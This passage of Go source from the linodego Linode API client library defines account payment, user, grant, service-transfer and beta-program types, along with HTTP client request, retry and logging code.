doDELETERequest(ctx, c, e) return err } // ResetOAuthClientSecret resets the OAuth Client secret for a client with a specified id func (c *Client) ResetOAuthClientSecret(ctx context.Context, clientID string) (*OAuthClient, error) { e := formatAPIPath("account/oauth-clients/%s/reset-secret", clientID) response, err := doPOSTRequest[OAuthClient, any](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_payment_methods.go000066400000000000000000000122511474652371000246550ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/linode/linodego/internal/parseabletime" ) // PaymentMethod represents a PaymentMethod object type PaymentMethod struct { // The unique ID of the Payment Method. ID int `json:"id"` // When the Payment Method was created. Created *time.Time `json:"created"` // Whether this Payment Method is the default method for automatically processing service charges. IsDefault bool `json:"is_default"` // The type of Payment Method. Type string `json:"type"` // The detailed data for the Payment Method, which can be of varying types. Data interface{} `json:"data"` } // PaymentMethodDataCreditCard represents a PaymentMethodDataCreditCard object type PaymentMethodDataCreditCard struct { // The type of credit card. CardType string `json:"card_type"` // The expiration month and year of the credit card. Expiry string `json:"expiry"` // The last four digits of the credit card number. LastFour string `json:"last_four"` } // PaymentMethodDataGooglePay represents a PaymentMethodDataGooglePay object type PaymentMethodDataGooglePay struct { // The type of credit card. CardType string `json:"card_type"` // The expiration month and year of the credit card. Expiry string `json:"expiry"` // The last four digits of the credit card number. LastFour string `json:"last_four"` } // PaymentMethodDataPaypal represents a PaymentMethodDataPaypal object type PaymentMethodDataPaypal struct { // The email address associated with your PayPal account. Email string `json:"email"` // PayPal Merchant ID associated with your PayPal account. PaypalID string `json:"paypal_id"` } // PaymentMethodCreateOptions fields are those accepted by CreatePaymentMethod type PaymentMethodCreateOptions struct { // Whether this Payment Method is the default method for automatically processing service charges. IsDefault bool `json:"is_default"` // The type of Payment Method. Alternative payment methods including Google Pay and PayPal can be added using the Cloud Manager. Type string `json:"type"` // An object representing the credit card information you have on file with Linode to make Payments against your Account. Data *PaymentMethodCreateOptionsData `json:"data"` } type PaymentMethodCreateOptionsData struct { // Your credit card number. No spaces or hyphens (-) allowed. CardNumber string `json:"card_number"` // CVV (Card Verification Value) of the credit card, typically found on the back of the card. CVV string `json:"cvv"` // A value from 1-12 representing the expiration month of your credit card. ExpiryMonth int `json:"expiry_month"` // A four-digit integer representing the expiration year of your credit card. ExpiryYear int `json:"expiry_year"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *PaymentMethod) UnmarshalJSON(b []byte) error { if len(b) == 0 || string(b) == "{}" || string(b) == "null" { return nil } type Mask PaymentMethod pm := &struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Data json.RawMessage `json:"data"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &pm); err != nil { return err } // Process Data based on the Type field switch i.Type { case "credit_card": var creditCardData PaymentMethodDataCreditCard if err := json.Unmarshal(pm.Data, &creditCardData); err != nil { return err } i.Data = creditCardData case "google_pay": var googlePayData PaymentMethodDataGooglePay if err := json.Unmarshal(pm.Data, &googlePayData); err != nil { return err } i.Data = googlePayData case "paypal": var paypalData PaymentMethodDataPaypal if err := json.Unmarshal(pm.Data, &paypalData); err != nil { return err } i.Data = paypalData default: return fmt.Errorf("unknown payment method type: %s", i.Type) } i.Created = (*time.Time)(pm.Created) return nil } // ListPaymentMethods lists PaymentMethods func (c *Client) ListPaymentMethods(ctx context.Context, opts *ListOptions) ([]PaymentMethod, error) { return getPaginatedResults[PaymentMethod](ctx, c, "account/payment-methods", opts) } // GetPaymentMethod gets the payment method with the provided ID func (c *Client) GetPaymentMethod(ctx context.Context, paymentMethodID int) (*PaymentMethod, error) { e := formatAPIPath("account/payment-methods/%d", paymentMethodID) return doGETRequest[PaymentMethod](ctx, c, e) } // DeletePaymentMethod deletes the payment method with the provided ID func (c *Client) DeletePaymentMethod(ctx context.Context, paymentMethodID int) error { e := formatAPIPath("account/payment-methods/%d", paymentMethodID) return doDELETERequest(ctx, c, e) } // AddPaymentMethod adds the provided payment method to the account func (c *Client) AddPaymentMethod(ctx context.Context, opts PaymentMethodCreateOptions) error { _, err := doPOSTRequest[PaymentMethod, any](ctx, c, "account/payment-methods", opts) return err } // SetDefaultPaymentMethod sets the payment method with the provided ID as the default func (c *Client) SetDefaultPaymentMethod(ctx context.Context, paymentMethodID int) error { e := formatAPIPath("account/payment-methods/%d", paymentMethodID) _, err := doPOSTRequest[PaymentMethod, any](ctx, c, e) return err } golang-github-linode-linodego-1.47.0/account_payments.go000066400000000000000000000037721474652371000233250ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Payment represents a Payment object type Payment struct { // The unique ID of the Payment ID int `json:"id"` // The amount, in US dollars, of the Payment. USD json.Number `json:"usd"` // When the Payment was made. Date *time.Time `json:"-"` } // PaymentCreateOptions fields are those accepted by CreatePayment type PaymentCreateOptions struct { // CVV (Card Verification Value) of the credit card to be used for the Payment CVV string `json:"cvv,omitempty"` // The amount, in US dollars, of the Payment USD json.Number `json:"usd"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Payment) UnmarshalJSON(b []byte) error { type Mask Payment p := struct { *Mask Date *parseabletime.ParseableTime `json:"date"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Date = (*time.Time)(p.Date) return nil } // GetCreateOptions converts a Payment to PaymentCreateOptions for use in CreatePayment func (i Payment) GetCreateOptions() (o PaymentCreateOptions) { o.USD = i.USD return } // ListPayments lists Payments func (c *Client) ListPayments(ctx context.Context, opts *ListOptions) ([]Payment, error) { response, err := getPaginatedResults[Payment](ctx, c, "account/payments", opts) if err != nil { return nil, err } return response, nil } // GetPayment gets the payment with the provided ID func (c *Client) GetPayment(ctx context.Context, paymentID int) (*Payment, error) { e := formatAPIPath("account/payments/%d", paymentID) response, err := doGETRequest[Payment](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreatePayment creates a Payment func (c *Client) CreatePayment(ctx context.Context, opts PaymentCreateOptions) (*Payment, error) { e := "account/payments" response, err := doPOSTRequest[Payment](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_promo_credits.go000066400000000000000000000033011474652371000243220ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Promotion represents a Promotion object type Promotion struct { // The amount available to spend per month. CreditMonthlyCap string `json:"credit_monthly_cap"` // The total amount of credit left for this promotion. CreditRemaining string `json:"credit_remaining"` // A detailed description of this promotion. Description string `json:"description"` // When this promotion's credits expire. ExpirationDate *time.Time `json:"-"` // The location of an image for this promotion. ImageURL string `json:"image_url"` // The service to which this promotion applies. ServiceType string `json:"service_type"` // Short details of this promotion. Summary string `json:"summary"` // The amount of credit left for this month for this promotion. ThisMonthCreditRemaining string `json:"this_month_credit_remaining"` } // PromoCodeCreateOptions fields are those accepted by AddPromoCode type PromoCodeCreateOptions struct { // The Promo Code. PromoCode string `json:"promo_code"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Promotion) UnmarshalJSON(b []byte) error { type Mask Promotion p := struct { *Mask ExpirationDate *parseabletime.ParseableTime `json:"date"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.ExpirationDate = (*time.Time)(p.ExpirationDate) return nil } // AddPromoCode adds the provided promo code to the account func (c *Client) AddPromoCode(ctx context.Context, opts PromoCodeCreateOptions) (*Promotion, error) { return doPOSTRequest[Promotion, any](ctx, c, "account/promo-codes", opts) } golang-github-linode-linodego-1.47.0/account_service_transfer.go000066400000000000000000000075661474652371000250360ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // AccountServiceTransferStatus constants start with AccountServiceTransfer and // include Linode API Account Service Transfer Status values. type AccountServiceTransferStatus string // AccountServiceTransferStatus constants reflect the current status of an AccountServiceTransfer const ( AccountServiceTransferAccepted AccountServiceTransferStatus = "accepted" AccountServiceTransferCanceled AccountServiceTransferStatus = "canceled" AccountServiceTransferCompleted AccountServiceTransferStatus = "completed" AccountServiceTransferFailed AccountServiceTransferStatus = "failed" AccountServiceTransferPending AccountServiceTransferStatus = "pending" AccountServiceTransferStale AccountServiceTransferStatus = "stale" ) // AccountServiceTransfer represents a request to transfer a service on an Account type AccountServiceTransfer struct { Created *time.Time `json:"-"` Entities AccountServiceTransferEntity `json:"entities"` Expiry *time.Time `json:"-"` IsSender bool `json:"is_sender"` Status AccountServiceTransferStatus `json:"status"` Token string `json:"token"` Updated *time.Time `json:"-"` } // AccountServiceTransferEntity represents a collection of the services to include // in a transfer request, separated by type. // Note: At this time, only Linodes can be transferred. type AccountServiceTransferEntity struct { Linodes []int `json:"linodes"` } type AccountServiceTransferRequestOptions struct { Entities AccountServiceTransferEntity `json:"entities"` } // UnmarshalJSON implements the json.Unmarshaler interface func (ast *AccountServiceTransfer) UnmarshalJSON(b []byte) error { type Mask AccountServiceTransfer p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Expiry *parseabletime.ParseableTime `json:"expiry"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(ast), } if err := json.Unmarshal(b, &p); err != nil { return err } ast.Created = (*time.Time)(p.Created) ast.Expiry = (*time.Time)(p.Expiry) ast.Updated = (*time.Time)(p.Updated) return nil } // ListAccountServiceTransfer gets a paginated list of AccountServiceTransfer for the Account. func (c *Client) ListAccountServiceTransfer(ctx context.Context, opts *ListOptions) ([]AccountServiceTransfer, error) { e := "account/service-transfers" return getPaginatedResults[AccountServiceTransfer](ctx, c, e, opts) } // GetAccountServiceTransfer gets the details of the AccountServiceTransfer for the provided token. func (c *Client) GetAccountServiceTransfer(ctx context.Context, token string) (*AccountServiceTransfer, error) { e := formatAPIPath("account/service-transfers/%s", token) return doGETRequest[AccountServiceTransfer](ctx, c, e) } // RequestAccountServiceTransfer creates a transfer request for the specified services. func (c *Client) RequestAccountServiceTransfer(ctx context.Context, opts AccountServiceTransferRequestOptions) (*AccountServiceTransfer, error) { e := "account/service-transfers" return doPOSTRequest[AccountServiceTransfer](ctx, c, e, opts) } // AcceptAccountServiceTransfer accepts an AccountServiceTransfer for the provided token to // receive the services included in the transfer to the Account. func (c *Client) AcceptAccountServiceTransfer(ctx context.Context, token string) error { e := formatAPIPath("account/service-transfers/%s/accept", token) _, err := doPOSTRequest[AccountServiceTransfer, any](ctx, c, e) return err } // CancelAccountServiceTransfer cancels the AccountServiceTransfer for the provided token. func (c *Client) CancelAccountServiceTransfer(ctx context.Context, token string) error { e := formatAPIPath("account/service-transfers/%s", token) return doDELETERequest(ctx, c, e) } golang-github-linode-linodego-1.47.0/account_settings.go000066400000000000000000000045361474652371000233240ustar00rootroot00000000000000package linodego import ( "context" ) // AccountSettings are the account wide flags or plans that effect new resources type AccountSettings struct { // The default backups enrollment status for all new Linodes for all users on the account. When enabled, backups are mandatory per instance. BackupsEnabled bool `json:"backups_enabled"` // Wether or not Linode Managed service is enabled for the account. Managed bool `json:"managed"` // Wether or not the Network Helper is enabled for all new Linode Instance Configs on the account. NetworkHelper bool `json:"network_helper"` // A plan name like "longview-3"..."longview-100", or a nil value for to cancel any existing subscription plan. LongviewSubscription *string `json:"longview_subscription"` // A string like "disabled", "suspended", or "active" describing the status of this accountโ€™s Object Storage service enrollment. ObjectStorage *string `json:"object_storage"` } // AccountSettingsUpdateOptions are the updateable account wide flags or plans that effect new resources. type AccountSettingsUpdateOptions struct { // The default backups enrollment status for all new Linodes for all users on the account. When enabled, backups are mandatory per instance. BackupsEnabled *bool `json:"backups_enabled,omitempty"` // A plan name like "longview-3"..."longview-100", or a nil value for to cancel any existing subscription plan. // Deprecated: Use PUT /longview/plan instead to update the LongviewSubscription LongviewSubscription *string `json:"longview_subscription,omitempty"` // The default network helper setting for all new Linodes and Linode Configs for all users on the account. NetworkHelper *bool `json:"network_helper,omitempty"` } // GetAccountSettings gets the account wide flags or plans that effect new resources func (c *Client) GetAccountSettings(ctx context.Context) (*AccountSettings, error) { e := "account/settings" response, err := doGETRequest[AccountSettings](ctx, c, e) if err != nil { return nil, err } return response, nil } // UpdateAccountSettings updates the settings associated with the account func (c *Client) UpdateAccountSettings(ctx context.Context, opts AccountSettingsUpdateOptions) (*AccountSettings, error) { e := "account/settings" response, err := doPUTRequest[AccountSettings](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_transfer.go000066400000000000000000000016201474652371000232770ustar00rootroot00000000000000package linodego import "context" // AccountTransfer represents an Account's network utilization for the current month. type AccountTransfer struct { Billable int `json:"billable"` Quota int `json:"quota"` Used int `json:"used"` RegionTransfers []AccountTransferRegion `json:"region_transfers"` } // AccountTransferRegion represents an Account's network utilization for the current month // in a given region. type AccountTransferRegion struct { ID string `json:"id"` Billable int `json:"billable"` Quota int `json:"quota"` Used int `json:"used"` } // GetAccountTransfer gets current Account's network utilization for the current month. func (c *Client) GetAccountTransfer(ctx context.Context) (*AccountTransfer, error) { e := "account/transfer" response, err := doGETRequest[AccountTransfer](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_user_grants.go000066400000000000000000000067121474652371000240160ustar00rootroot00000000000000package linodego import ( "context" ) type GrantPermissionLevel string const ( AccessLevelReadOnly GrantPermissionLevel = "read_only" AccessLevelReadWrite GrantPermissionLevel = "read_write" ) type GlobalUserGrants struct { AccountAccess *GrantPermissionLevel `json:"account_access"` AddDatabases bool `json:"add_databases"` AddDomains bool `json:"add_domains"` AddFirewalls bool `json:"add_firewalls"` AddImages bool `json:"add_images"` AddLinodes bool `json:"add_linodes"` AddLongview bool `json:"add_longview"` AddNodeBalancers bool `json:"add_nodebalancers"` AddPlacementGroups bool `json:"add_placement_groups"` AddStackScripts bool `json:"add_stackscripts"` AddVolumes bool `json:"add_volumes"` AddVPCs bool `json:"add_vpcs"` CancelAccount bool `json:"cancel_account"` ChildAccountAccess bool `json:"child_account_access"` LongviewSubscription bool `json:"longview_subscription"` } type EntityUserGrant struct { ID int `json:"id"` Permissions *GrantPermissionLevel `json:"permissions"` } type GrantedEntity struct { ID int `json:"id"` Label string `json:"label"` Permissions GrantPermissionLevel `json:"permissions"` } type UserGrants struct { Database []GrantedEntity `json:"database"` Domain []GrantedEntity `json:"domain"` Firewall []GrantedEntity `json:"firewall"` Image []GrantedEntity `json:"image"` Linode []GrantedEntity `json:"linode"` Longview []GrantedEntity `json:"longview"` NodeBalancer []GrantedEntity `json:"nodebalancer"` PlacementGroup []GrantedEntity `json:"placement_group"` StackScript []GrantedEntity `json:"stackscript"` Volume []GrantedEntity `json:"volume"` VPC []GrantedEntity `json:"vpc"` Global GlobalUserGrants `json:"global"` } type UserGrantsUpdateOptions struct { Database []GrantedEntity `json:"database,omitempty"` Domain []EntityUserGrant `json:"domain,omitempty"` Firewall []EntityUserGrant `json:"firewall,omitempty"` Image []EntityUserGrant `json:"image,omitempty"` Linode []EntityUserGrant `json:"linode,omitempty"` Longview []EntityUserGrant `json:"longview,omitempty"` NodeBalancer []EntityUserGrant `json:"nodebalancer,omitempty"` PlacementGroup []EntityUserGrant `json:"placement_group,omitempty"` StackScript []EntityUserGrant `json:"stackscript,omitempty"` Volume []EntityUserGrant `json:"volume,omitempty"` VPC []EntityUserGrant `json:"vpc,omitempty"` Global GlobalUserGrants `json:"global"` } func (c *Client) GetUserGrants(ctx context.Context, username string) (*UserGrants, error) { e := formatAPIPath("account/users/%s/grants", username) response, err := doGETRequest[UserGrants](ctx, c, e) if err != nil { return nil, err } return response, nil } func (c *Client) UpdateUserGrants(ctx context.Context, username string, opts UserGrantsUpdateOptions) (*UserGrants, error) { e := formatAPIPath("account/users/%s/grants", username) response, err := doPUTRequest[UserGrants](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_users.go000066400000000000000000000077351474652371000226310ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) type UserType string const ( UserTypeProxy UserType = "proxy" UserTypeParent UserType = "parent" UserTypeChild UserType = "child" UserTypeDefault UserType = "default" ) // LastLogin represents a LastLogin object type LastLogin struct { LoginDatetime *time.Time `json:"-"` Status string `json:"status"` } // User represents a User object type User struct { Username string `json:"username"` Email string `json:"email"` LastLogin *LastLogin `json:"last_login"` UserType UserType `json:"user_type"` Restricted bool `json:"restricted"` TFAEnabled bool `json:"tfa_enabled"` SSHKeys []string `json:"ssh_keys"` PasswordCreated *time.Time `json:"-"` VerifiedPhoneNumber *string `json:"verified_phone_number"` } // UserCreateOptions fields are those accepted by CreateUser type UserCreateOptions struct { Username string `json:"username"` Email string `json:"email"` Restricted bool `json:"restricted"` } // UserUpdateOptions fields are those accepted by UpdateUser type UserUpdateOptions struct { Username string `json:"username,omitempty"` Restricted *bool `json:"restricted,omitempty"` Email string `json:"email,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (ll *LastLogin) UnmarshalJSON(b []byte) error { type Mask LastLogin p := struct { *Mask LoginDatetime *parseabletime.ParseableTime `json:"login_datetime"` }{ Mask: (*Mask)(ll), } if err := json.Unmarshal(b, &p); err != nil { return err } ll.LoginDatetime = (*time.Time)(p.LoginDatetime) return nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *User) UnmarshalJSON(b []byte) error { type Mask User p := struct { *Mask PasswordCreated *parseabletime.ParseableTime `json:"password_created"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.PasswordCreated = (*time.Time)(p.PasswordCreated) return nil } // GetCreateOptions converts a User to UserCreateOptions for use in CreateUser func (i User) GetCreateOptions() (o UserCreateOptions) { o.Username = i.Username o.Email = i.Email o.Restricted = i.Restricted return } // GetUpdateOptions converts a User to UserUpdateOptions for use in UpdateUser func (i User) GetUpdateOptions() (o UserUpdateOptions) { o.Username = i.Username o.Restricted = copyBool(&i.Restricted) o.Email = i.Email return } // ListUsers lists Users on the account func (c *Client) ListUsers(ctx context.Context, opts *ListOptions) ([]User, error) { response, err := getPaginatedResults[User](ctx, c, "account/users", opts) if err != nil { return nil, err } return response, nil } // GetUser gets the user with the provided ID func (c *Client) GetUser(ctx context.Context, userID string) (*User, error) { e := formatAPIPath("account/users/%s", userID) response, err := doGETRequest[User](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateUser creates a User. The email address must be confirmed before the // User account can be accessed. func (c *Client) CreateUser(ctx context.Context, opts UserCreateOptions) (*User, error) { e := "account/users" response, err := doPOSTRequest[User](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateUser updates the User with the specified id func (c *Client) UpdateUser(ctx context.Context, userID string, opts UserUpdateOptions) (*User, error) { e := formatAPIPath("account/users/%s", userID) response, err := doPUTRequest[User](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteUser deletes the User with the specified id func (c *Client) DeleteUser(ctx context.Context, userID string) error { e := formatAPIPath("account/users/%s", userID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/base_types.go000066400000000000000000000016711474652371000221030ustar00rootroot00000000000000// This package contains various type-related base classes intended // to be used in composition across type structures in this project. package linodego // baseType is a base struct containing the core fields of a resource type // returned from the Linode API. type baseType[PriceType any, RegionPriceType any] struct { ID string `json:"id"` Label string `json:"label"` Price PriceType `json:"price"` RegionPrices []RegionPriceType `json:"region_prices"` Transfer int `json:"transfer"` } // baseTypePrice is a base struct containing the core fields of a resource type's // base price. type baseTypePrice struct { Hourly float64 `json:"hourly"` Monthly float64 `json:"monthly"` } // baseTypeRegionPrice is a base struct containing the core fields of a resource type's // region-specific price. type baseTypeRegionPrice struct { baseTypePrice ID string `json:"id"` } golang-github-linode-linodego-1.47.0/betas.go000066400000000000000000000035611474652371000210430ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Beta Program is a new product or service that is not generally available to all Akamai customers. // Users must enroll into a beta in order to access the functionality. type BetaProgram struct { Label string `json:"label"` ID string `json:"id"` Description string `json:"description"` // Start date of the beta program. Started *time.Time `json:"-"` // End date of the beta program. Ended *time.Time `json:"-"` // Greenlight is a program that allows customers to gain access to // certain beta programs and to collect direct feedback from those customers. GreenlightOnly bool `json:"greenlight_only"` // Link to product marketing page for the beta program. MoreInfo string `json:"more_info"` } // UnmarshalJSON implements the json.Unmarshaler interface func (beta *BetaProgram) UnmarshalJSON(b []byte) error { type Mask BetaProgram p := struct { *Mask Started *parseabletime.ParseableTime `json:"started"` Ended *parseabletime.ParseableTime `json:"ended"` }{ Mask: (*Mask)(beta), } if err := json.Unmarshal(b, &p); err != nil { return err } beta.Started = (*time.Time)(p.Started) beta.Ended = (*time.Time)(p.Ended) return nil } // ListBetaPrograms lists active beta programs func (c *Client) ListBetaPrograms(ctx context.Context, opts *ListOptions) ([]BetaProgram, error) { response, err := getPaginatedResults[BetaProgram](ctx, c, "/betas", opts) if err != nil { return nil, err } return response, nil } // GetBetaProgram gets the beta program's detail with the ID func (c *Client) GetBetaProgram(ctx context.Context, betaID string) (*BetaProgram, error) { e := formatAPIPath("betas/%s", betaID) response, err := doGETRequest[BetaProgram](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/client.go000066400000000000000000000523621474652371000212260ustar00rootroot00000000000000package linodego import ( "bytes" "context" "encoding/json" "fmt" "io" "log" "net/http" "net/url" "os" "path" "path/filepath" "reflect" "regexp" "strconv" "strings" "sync" "text/template" "time" "github.com/go-resty/resty/v2" ) const ( // APIConfigEnvVar environment var to get path to Linode config APIConfigEnvVar = "LINODE_CONFIG" // APIConfigProfileEnvVar specifies the profile to use when loading from a Linode config APIConfigProfileEnvVar = "LINODE_PROFILE" // APIHost Linode API hostname APIHost = "api.linode.com" // APIHostVar environment var to check for alternate API URL APIHostVar = "LINODE_URL" // APIHostCert environment var containing path to CA cert to validate against. // Note that the custom CA cannot be configured together with a custom HTTP Transport. APIHostCert = "LINODE_CA" // APIVersion Linode API version APIVersion = "v4" // APIVersionVar environment var to check for alternate API Version APIVersionVar = "LINODE_API_VERSION" // APIProto connect to API with http(s) APIProto = "https" // APIEnvVar environment var to check for API token APIEnvVar = "LINODE_TOKEN" // APISecondsPerPoll how frequently to poll for new Events or Status in WaitFor functions APISecondsPerPoll = 3 // Maximum wait time for retries APIRetryMaxWaitTime = time.Duration(30) * time.Second APIDefaultCacheExpiration = time.Minute * 15 ) //nolint:unused var ( reqLogTemplate = template.Must(template.New("request").Parse(`Sending request: Method: {{.Method}} URL: {{.URL}} Headers: {{.Headers}} Body: {{.Body}}`)) respLogTemplate = template.Must(template.New("response").Parse(`Received response: Status: {{.Status}} Headers: {{.Headers}} Body: {{.Body}}`)) ) var envDebug = false // Client is a wrapper around the Resty client type Client struct { resty *resty.Client userAgent string debug bool retryConditionals []RetryConditional pollInterval time.Duration baseURL string apiVersion string apiProto string selectedProfile string loadedProfile string configProfiles map[string]ConfigProfile // Fields for caching endpoint responses shouldCache bool cacheExpiration time.Duration cachedEntries map[string]clientCacheEntry cachedEntryLock *sync.RWMutex } type EnvDefaults struct { Token string Profile string } type clientCacheEntry struct { Created time.Time Data any // If != nil, use this instead of the // global expiry ExpiryOverride *time.Duration } type ( Request = resty.Request Response = resty.Response Logger = resty.Logger ) func init() { // Whether we will enable Resty debugging output if apiDebug, ok := os.LookupEnv("LINODE_DEBUG"); ok { if parsed, err := strconv.ParseBool(apiDebug); err == nil { envDebug = parsed log.Println("[INFO] LINODE_DEBUG being set to", envDebug) } else { log.Println("[WARN] LINODE_DEBUG should be an integer, 0 or 1") } } } // SetUserAgent sets a custom user-agent for HTTP requests func (c *Client) SetUserAgent(ua string) *Client { c.userAgent = ua c.resty.SetHeader("User-Agent", c.userAgent) return c } type RequestParams struct { Body any Response any } // Generic helper to execute HTTP requests using the net/http package // // nolint:unused, funlen, gocognit func (c *httpClient) doRequest(ctx context.Context, method, url string, params RequestParams) error { var ( req *http.Request bodyBuffer *bytes.Buffer resp *http.Response err error ) for range httpDefaultRetryCount { req, bodyBuffer, err = c.createRequest(ctx, method, url, params) if err != nil { return err } if err = c.applyBeforeRequest(req); err != nil { return err } if c.debug && c.logger != nil { c.logRequest(req, method, url, bodyBuffer) } processResponse := func() error { defer func() { closeErr := resp.Body.Close() if closeErr != nil && err == nil { err = closeErr } }() if err = c.checkHTTPError(resp); err != nil { return err } if c.debug && c.logger != nil { var logErr error resp, logErr = c.logResponse(resp) if logErr != nil { return logErr } } if params.Response != nil { if err = c.decodeResponseBody(resp, params.Response); err != nil { return err } } // Apply after-response mutations if err = c.applyAfterResponse(resp); err != nil { return err } return nil } resp, err = c.sendRequest(req) if err == nil { if err = processResponse(); err == nil { return nil } } if !c.shouldRetry(resp, err) { break } retryAfter, retryErr := c.retryAfter(resp) if retryErr != nil { return retryErr } // Sleep for the specified duration before retrying. // If retryAfter is 0 (i.e., Retry-After header is not found), // no delay is applied. time.Sleep(retryAfter) } return err } // nolint:unused func (c *httpClient) shouldRetry(resp *http.Response, err error) bool { for _, retryConditional := range c.retryConditionals { if retryConditional(resp, err) { return true } } return false } // nolint:unused func (c *httpClient) createRequest(ctx context.Context, method, url string, params RequestParams) (*http.Request, *bytes.Buffer, error) { var bodyReader io.Reader var bodyBuffer *bytes.Buffer if params.Body != nil { bodyBuffer = new(bytes.Buffer) if err := json.NewEncoder(bodyBuffer).Encode(params.Body); err != nil { if c.debug && c.logger != nil { c.logger.Errorf("failed to encode body: %v", err) } return nil, nil, fmt.Errorf("failed to encode body: %w", err) } bodyReader = bodyBuffer } req, err := http.NewRequestWithContext(ctx, method, url, bodyReader) if err != nil { if c.debug && c.logger != nil { c.logger.Errorf("failed to create request: %v", err) } return nil, nil, fmt.Errorf("failed to create request: %w", err) } req.Header.Set("Content-Type", "application/json") req.Header.Set("Accept", "application/json") if c.userAgent != "" { req.Header.Set("User-Agent", c.userAgent) } return req, bodyBuffer, nil } // nolint:unused func (c *httpClient) applyBeforeRequest(req *http.Request) error { for _, mutate := range c.onBeforeRequest { if err := mutate(req); err != nil { if c.debug && c.logger != nil { c.logger.Errorf("failed to mutate before request: %v", err) } return fmt.Errorf("failed to mutate before request: %w", err) } } return nil } // nolint:unused func (c *httpClient) applyAfterResponse(resp *http.Response) error { for _, mutate := range c.onAfterResponse { if err := mutate(resp); err != nil { if c.debug && c.logger != nil { c.logger.Errorf("failed to mutate after response: %v", err) } return fmt.Errorf("failed to mutate after response: %w", err) } } return nil } // nolint:unused func (c *httpClient) logRequest(req *http.Request, method, url string, bodyBuffer *bytes.Buffer) { var reqBody string if bodyBuffer != nil { reqBody = bodyBuffer.String() } else { reqBody = "nil" } var logBuf bytes.Buffer err := reqLogTemplate.Execute(&logBuf, map[string]interface{}{ "Method": method, "URL": url, "Headers": req.Header, "Body": reqBody, }) if err == nil { c.logger.Debugf(logBuf.String()) } } // nolint:unused func (c *httpClient) sendRequest(req *http.Request) (*http.Response, error) { resp, err := c.httpClient.Do(req) if err != nil { if c.debug && c.logger != nil { c.logger.Errorf("failed to send request: %v", err) } return nil, fmt.Errorf("failed to send request: %w", err) } return resp, nil } // nolint:unused func (c *httpClient) checkHTTPError(resp *http.Response) error { _, err := coupleAPIErrorsHTTP(resp, nil) if err != nil { if c.debug && c.logger != nil { c.logger.Errorf("received HTTP error: %v", err) } return err } return nil } // nolint:unused func (c *httpClient) logResponse(resp *http.Response) (*http.Response, error) { var respBody bytes.Buffer if _, err := io.Copy(&respBody, resp.Body); err != nil { c.logger.Errorf("failed to read response body: %v", err) } var logBuf bytes.Buffer err := respLogTemplate.Execute(&logBuf, map[string]interface{}{ "Status": resp.Status, "Headers": resp.Header, "Body": respBody.String(), }) if err == nil { c.logger.Debugf(logBuf.String()) } resp.Body = io.NopCloser(bytes.NewReader(respBody.Bytes())) return resp, nil } // nolint:unused func (c *httpClient) decodeResponseBody(resp *http.Response, response interface{}) error { if err := json.NewDecoder(resp.Body).Decode(response); err != nil { if c.debug && c.logger != nil { c.logger.Errorf("failed to decode response: %v", err) } return fmt.Errorf("failed to decode response: %w", err) } return nil } // R wraps resty's R method func (c *Client) R(ctx context.Context) *resty.Request { return c.resty.R(). ExpectContentType("application/json"). SetHeader("Content-Type", "application/json"). SetContext(ctx). SetError(APIError{}) } // SetDebug sets the debug on resty's client func (c *Client) SetDebug(debug bool) *Client { c.debug = debug c.resty.SetDebug(debug) return c } // SetLogger allows the user to override the output // logger for debug logs. func (c *Client) SetLogger(logger Logger) *Client { c.resty.SetLogger(logger) return c } //nolint:unused func (c *httpClient) httpSetDebug(debug bool) *httpClient { c.debug = debug return c } //nolint:unused func (c *httpClient) httpSetLogger(logger httpLogger) *httpClient { c.logger = logger return c } // OnBeforeRequest adds a handler to the request body to run before the request is sent func (c *Client) OnBeforeRequest(m func(request *Request) error) { c.resty.OnBeforeRequest(func(_ *resty.Client, req *resty.Request) error { return m(req) }) } // OnAfterResponse adds a handler to the request body to run before the request is sent func (c *Client) OnAfterResponse(m func(response *Response) error) { c.resty.OnAfterResponse(func(_ *resty.Client, req *resty.Response) error { return m(req) }) } // nolint:unused func (c *httpClient) httpOnBeforeRequest(m func(*http.Request) error) *httpClient { c.onBeforeRequest = append(c.onBeforeRequest, m) return c } // nolint:unused func (c *httpClient) httpOnAfterResponse(m func(*http.Response) error) *httpClient { c.onAfterResponse = append(c.onAfterResponse, m) return c } // UseURL parses the individual components of the given API URL and configures the client // accordingly. For example, a valid URL. // For example: // // client.UseURL("https://api.test.linode.com/v4beta") func (c *Client) UseURL(apiURL string) (*Client, error) { parsedURL, err := url.Parse(apiURL) if err != nil { return 